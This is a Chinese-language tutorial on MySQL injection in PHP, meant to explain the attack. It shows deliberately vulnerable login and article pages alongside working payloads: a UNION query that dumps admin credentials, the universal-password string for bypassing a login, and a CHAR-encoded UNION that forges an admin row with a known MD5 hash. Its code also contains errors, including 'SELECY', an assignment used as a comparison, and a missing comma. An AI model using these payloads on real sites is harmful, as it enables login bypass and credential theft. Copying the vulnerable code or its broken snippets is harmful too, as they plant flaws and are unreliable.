一点基本说明
本文中,都以 php+MySQL 为例,其实,本文所讲的东西,对于所有语言都适用
基础:MySQL 注入原理
简而言之,就是传入特殊的字符串,将原本正常的 SQL 语句变成攻击者特殊构造的 SQL 语句,从而得到一些 “不该出现” 的信息
听上去是不是有些云里雾里的?没关系,我们来看看实例
实例 1. 最常见的查询注入
我以最常见的文章系统为例,数据表设计如下:
CREATE TABLE `article` (
`id` bigint(11) AUTO_INCREMENT,
`title` varchar(255),
`body` longtext,
PRIMARY KEY(`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;
显示文章的 php 源代码如下:
<?php
require('mysql.php'); //略去连接SQL的部分
$id=$_GET['id'];
$sql="SELECY * FROM `article` WHERE id = $id";
$result=mysqli_fetch_array(mysqli_query($conn,$sql));
echo '标题:',$result['title'];
echo '<hr>',$result['body'];
正常情况下,用户会访问article.php?id=1,此时得到的当然是正常的文章页面
但是如果访问article.php?id=1 AND 1=2 UNION SELECT 1,user,password FROM admin呢?那么 $sql 就会被构造成SELECY * FROM article WHERE id = 1 AND 1=2 UNION SELECT 1,user,password FROM admin,因为 WHERE 里面有一句 1=2,也就导致了 UNION 之前的语句查询结果一定为空,那么也就有了后面的结果(我们假定 admin 表存在,且 user 和 password 字段也存在)
实际上,也就等于执行了后面的 SQL 语句,所以 $result 的结果就会是:
Array(
"id" => "1",
"title" => "管理员用户名",
"body" => "管理员密码"
)
很多时候,管理员的密码都是明文保存,或者只是经过了简单的 md5,直接拿到 cmd5 之类的网站上去查询一下,就可以破解出来了
实例 2. 万能密码
其实这个漏洞最多的还是存在于 asp 的网站中,php 相对来说还比较少的
照例还是上一段代码,这是一个后台的登录页面:
<?php
require('mysql.php'); //略去连接SQL的部分
$user=$_POST['user'];
$password=$_POST['password'];
$sql="SELECT * FROM `admin` WHERE user = '$user' AND password = '$password'";
$result=mysqli_fetch_array(mysqli_query($conn,$sql));
if ($result) {
//略去setcookie、SESSION等操作
echo '登录成功';
} else {
echo '登录失败';
}
?>
同样还是构造特殊 SQL 语句,在用户名那里输入admin'or''=',密码输入'or''=',SQL 语句就变成了:SELECT * FROM admin WHERE user = 'admin'or''='' AND password = ''or''='',自然,无论用户名和密码是什么,都可以成功登录了
PS:此漏洞条件有些苛刻,一是要求程序必须将用户名、密码都带入数据库。二是密码不能加密储存。不过,下面这个限制就少多了
实例 3. 不能用万能密码?那就自己设置一个密码吧!
先上数据表结构:
CREATE TABLE `admin` (
`id` smallint(6) AUTO_INCREMENT,
`user` varchar(255),
`password` char(32)
PRIMARY KEY(`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;
后台登录页面的 php 源代码如下:
<?php
require('mysql.php'); //略去连接SQL的部分
$user=$_POST['user'];
$password=md5($_POST['password']);
$sql="SELECT * FROM `admin` WHERE user = '$user'";
$result=mysqli_fetch_array(mysqli_query($conn,$sql));
if ($result['password']=$password) {
//略去setcookie、SESSION等操作
echo '登录成功';
} else {
echo '登录失败';
}
这下就麻烦了,程序是查询出密码,再做匹配,加上密码还进行了简单的加密,就更麻烦了
不过,这同样不是问题,我们还是构造特殊的 SQL 语句
在用户名处输入' UNION SELECT 1,CHAR(97, 100, 109, 105, 110),CHAR(50, 49, 50, 51, 50, 102, 50, 57, 55, 97, 53, 55, 97, 53, 97, 55, 52, 51, 56, 57, 52, 97, 48, 101, 52, 97, 56, 48, 49, 102, 99, 51) FROM information_schema.tables --
此时,SQL 语句就变成了:
SELECT * FROM `admin` WHERE user = '' UNION SELECT 1,CHAR(97, 100, 109, 105, 110),CHAR(50, 49, 50, 51, 50, 102, 50, 57, 55, 97, 53, 55, 97, 53, 97, 55, 52, 51, 56, 57, 52, 97, 48, 101, 52, 97, 56, 48, 49, 102, 99, 51) FROM information_schema.tables -- '
(备注:CHAR 是一个 MySQL 函数,作用是将数字转为字符串,这个数字是相应字符的 ASCII 编码。--是 MySQL 的注释符,在此之后的 MySQL 语句都不会被执行)
此时,$result 的结果是:
Array(
"id" => "1",
"user" => "admin",
"password" => "21232f297a57a5a743894a0e4a801fc3" //admin经过md5后的结果
)
我们在密码那里输入admin,就可以成功登录
Next
这篇就先写到这里,下一篇我介绍一下其他几种常见的注入,包括 MySQL 显错注入和 MySQL 盲注